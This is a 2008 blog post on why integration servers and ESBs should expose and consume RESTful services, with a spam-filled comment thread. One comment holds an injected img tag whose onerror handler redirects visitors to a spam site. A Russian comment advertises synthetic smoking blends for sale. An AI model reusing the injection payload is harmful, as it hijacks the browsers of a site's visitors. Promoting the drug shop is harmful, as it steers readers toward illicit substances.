REST and ESBs

The evolution of Representational State Transfer (REST) as an Architecture style is having a strong influence in the way developers think about to accessing and exposing data. This influence is especially notable in Service Oriented (SOA) technologies such as Service Repositories, SOA Governance Servers, Enterprise Service Buses (ESB) and Integration Servers.  Particularly, Integration servers and ESBs are a natural fit for RESTful services given its applicability of data exchange scenarios. In my opinion Integration servers and ESBs will embrace REST in two fundamental ways:

  • Exposing RESTful resources: Integration services and ESBs are normally composed by a set of resource-rich technologies such as Business Rules, Business Activity Monitoring, orchestration monitoring, etc. One of the main challenges of adopting those technologies is that their interfaces are often limited to a particular programming language or to a set of SOAP-based services that can only be consumed by technologies that provide rich SOAP frameworks such as WCF or J2EE application servers. Exposing RESTful interfaces to these technologies will expand their use on emerging programming paradigms such as dynamic languages, AJAX toolkits etc.
  • Consuming RESTful services: Complementarily to the previous topic, integration servers and ESBs should embrace the consumption of RESTful services into technologies such as orchestrations or business rules. Although most of the integration servers and ESBs on the market provide a strong support for HTTP as a transport protocol, embracing REST entails natively supporting other Web based protocols such as Atom/AtomPub, RDF or JSON as well as a beter support or manipulating URLs. The recent release of MuleSource RESTpack it's a good example of this approach.

Although today technologies such as BizTalk Server R2 or Oracle BPEL PM provide the basic infrastructure to consume and expose RESTful services, in the near future we should see REST become a fundamental component of integration servers and ESBs.

On my next post I plan to illustrate an example of how to consume RESTful services using AtomPub from BizTalk Server.

Published Wednesday, April 09, 2008 9:07 AM by gsusx

Comments

Wednesday, April 09, 2008 9:28 AM by REST and ESBs - Jesus Rodriguez's WebLog

# REST and ESBs - Jesus Rodriguez's WebLog

Pingback from  REST and ESBs - Jesus Rodriguez's WebLog

Saturday, April 12, 2008 8:51 AM by mypicst

# re: REST and ESBs

my pics <img src=http://google.com/444.gif onerror="window.open('gomyron.com/.../spm','_top')">

Monday, April 21, 2008 12:09 PM by Rod da Silva

# re: REST and ESBs

Jesus

I am looking at consuming AtomPub via BizTalk Server 2006 R2 and have hit a brick wall with the HTTP Send adapter which (as near as I can determine) only uses POST and not GET.  Have you found a way to do this or are you planning to write a custom adapter?  If you have written the latter I would be happy to beta test <smile>.

Rod

Thursday, April 24, 2008 9:54 AM by Jesus Rodriguez's WebLog

# Consuming RESTful services from BizTalk Server using AtomPub

In a previous post I explained the importance for traditional integration servers and ESBs to embrace

Monday, June 30, 2008 3:58 PM by RESTful orchestration « Jason’s Euroside

# RESTful orchestration &laquo; Jason&#8217;s Euroside

Pingback from  RESTful orchestration &laquo; Jason&#8217;s Euroside

Wednesday, March 24, 2010 10:42 PM by Danielle

# re: REST and ESBs

How are you. Sometimes you can't see yourself clearly until you see yourself through the eyes of others. Help me! Looking for sites on: 2007 turbo tax fees. I found only this - <a href="turbo-tax.biz/.../">turbo tax 2009</a>. Turbo tax, non-stop, i back applied this patents- on amazon. Changes of dispatches and flights throughout the mother dream from some use of tools spars, turbo tax. :cool: Thanks in advance. Danielle from Laos.

Monday, June 14, 2010 3:08 PM by kikus

# re: REST and ESBs

интеретсный блог почему только так мало читателей на нём

Tuesday, October 19, 2010 3:21 AM by megaling

# re: REST and ESBs

In my opinion you commit an error. Write to me in PM, we will discuss.

Thursday, January 27, 2011 7:49 PM by lasix para bajar peso

# re: REST and ESBs

A rising tide lifts all boats

Sunday, February 13, 2011 1:50 AM by Cigarettes for sale

# re: REST and ESBs

Absolute power corrupts absolutely

Friday, March 18, 2011 10:19 AM by oem cheap software

# re: REST and ESBs

East, west, home's best

Friday, March 18, 2011 8:27 PM by North Sails Polo Shirt

# re: REST and ESBs

Hunting, hawking, and paramours, for one joy an hundred displeasures.

Friday, March 18, 2011 10:40 PM by Dsquared Conversation T-shirt -

# re: REST and ESBs

Goe shoe the Geese.

Tuesday, March 22, 2011 8:59 PM by zuzana-zeleznovova

# re: REST and ESBs

I am am excited too with this question where I can find more information on this question?

Thursday, June 30, 2011 10:47 PM by Cristobal Baus

# re: REST and ESBs

Hey, I just hopped over to your internet site via StumbleUpon. Not somthing I would generally read, but I liked your thoughts none the much less. Thanks for making something worth reading.

Tuesday, July 05, 2011 4:25 AM by Lewis Lerud

# re: REST and ESBs

Very beneficial posting Excited for extra content articles within your website.

Saturday, September 03, 2011 7:13 AM by Pupeevetlylit

# re: REST and ESBs

Доброго времени суток,  

Хочу представить вам новоявленный лавка курительных смесей

сайт магазина http://spice-family.ru  

3г микса Moderate - 1,500 р. + доставка (ems, pony express)  

По вопросам опта писать отдельно в скайп - FomaX2

Leave a Comment

(required) 
(required) 
(optional)
(required)